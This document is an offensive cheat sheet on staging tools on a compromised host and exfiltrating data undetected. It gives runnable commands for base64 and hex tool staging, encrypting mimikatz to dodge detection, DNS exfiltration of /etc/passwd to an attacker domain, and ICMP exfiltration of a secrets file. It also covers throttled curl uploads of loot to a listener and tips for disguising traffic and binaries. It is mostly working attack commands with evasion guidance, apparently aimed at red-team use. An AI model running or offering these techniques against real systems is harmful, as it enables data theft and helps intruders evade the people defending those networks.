Standing up python3 -m http.server and shoveling a 400 MB linpeas download across the wire gets you caught. This page covers the techniques that keep transfers under the radar: terminal-only staging, chunking, DNS exfil, and timing.
Terminal-Only Staging (Base64)
No network egress at all from the shell? The shell itself is the channel.
# Attacker side: encode locally, send the blob over the comm channel
cat tool.bin | base64 -w 0; echo# Target side (Windows): paste blob, write bytes
[IO.File]::WriteAllBytes('C:\Users\Public\tool.bin',[Convert]::FromBase64String('PASTE'))
Get-FileHash C:\Users\Public\tool.bin -Algorithm sha256# Target side (Linux)
echo 'PASTE' | base64 -d > /tmp/tool.bin
sha256sum /tmp/tool.binxxd Hex Staging (When Base64 Chars Are Filtered)
# Attacker encode
xxd -p tool.bin | tr -d '\n'; echo
# Target decode (Linux)
echo 'DEADBEEF...' | xxd -r -p > tool.binChunking Large Payloads
cmd.exe caps lines at 8191 chars; sensors flag single massive uploads. Split and reassemble:
# Attacker
split -b 4000 tool.bin chunk_
for f in chunk_*; do base64 -w 0 "$f"; echo "---$f---"; done# Target: append each chunk to a growing file
$chunks = @('BASE64_1','BASE64_2','BASE64_3')
$bytes = @()
foreach ($c in $chunks) { $bytes += [Convert]::FromBase64String($c) }
[IO.File]::WriteAllBytes('C:\Users\Public\tool.bin',$bytes)Custom Encryption Before Transfer
Payload signatures (Mimikatz strings, msfvenom shellcode) are a fast NIDS win. Encrypt first:
openssl enc -aes256 -iter 100000 -pbkdf2 -in mimikatz.exe -out m.enc -k 'secret'Decrypt in-memory on the target rather than to disk — denies AV-scanning on disk read.
DNS Exfil
When every port except 53 is blocked, DNS still works — as long as a resolver can reach your authoritative server.
# Attacker: authoritative server for attacker.tld logging all TXT/A queries
sudo tcpdump -nni any udp port 53 -A
# Or use dnsserver.py from Impacket / dnscat2 / iodine for structured channels# Target: exfil /etc/passwd one chunk per label
for chunk in $(cat /etc/passwd | base64 -w 30); do
dig +short "$chunk.exfil.attacker.tld" @8.8.8.8
doneTools that automate this:
dnscat2— full bidirectional tunnel over DNSiodine— IP-over-DNSgodoh— modern Go-based DoH tunnel
Slow Timing / Low-and-Slow
Volumetric alerts trigger on throughput. Throttle:
curl --limit-rate 50k -T loot.tar http://10.10.10.10:9001/u/# Sleep between chunks
for f in chunk_*; do
curl -T "$f" http://10.10.10.10:9001/u/
sleep $((RANDOM % 60 + 30))
doneBlend With Legitimate Traffic
- Use port 443 and TLS — looks like HTTPS
- Spoof
User-Agentto match the environment’s common browser - Rename binaries to look routine (
update.exe,telemetry.dll) - Serve payloads from a domain with a valid cert (
letsencrypt) and benign-looking subdomain (cdn-static.example.com) - Mirror the target’s working hours — bulk exfil at 03:00 is a red flag
$UA = [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome
Invoke-WebRequest http://10.10.10.10/payload.bin -UserAgent $UA -OutFile C:\Users\Public\update.binICMP Exfil (When Even DNS Is Watched)
# Target: dribble a file one ping at a time
xxd -p -c 16 secret.txt | while read line; do
ping -c 1 -p "$line" 10.10.10.10 > /dev/null
done# Attacker captures
sudo tcpdump -nni any 'icmp[icmptype]=icmp-echo' -XChoose the quietest channel that works
The order of noise, loudest to quietest: raw
python -m http.serverplaintext → HTTPS to a random IP → HTTPS to a domain → DNS/ICMP → terminal-only base64.
Hash and verify
Covert channels corrupt data more often than you’d think. Always compare SHA-256 before and after. Silent corruption of a 50 MB database dump is worse than an alert.
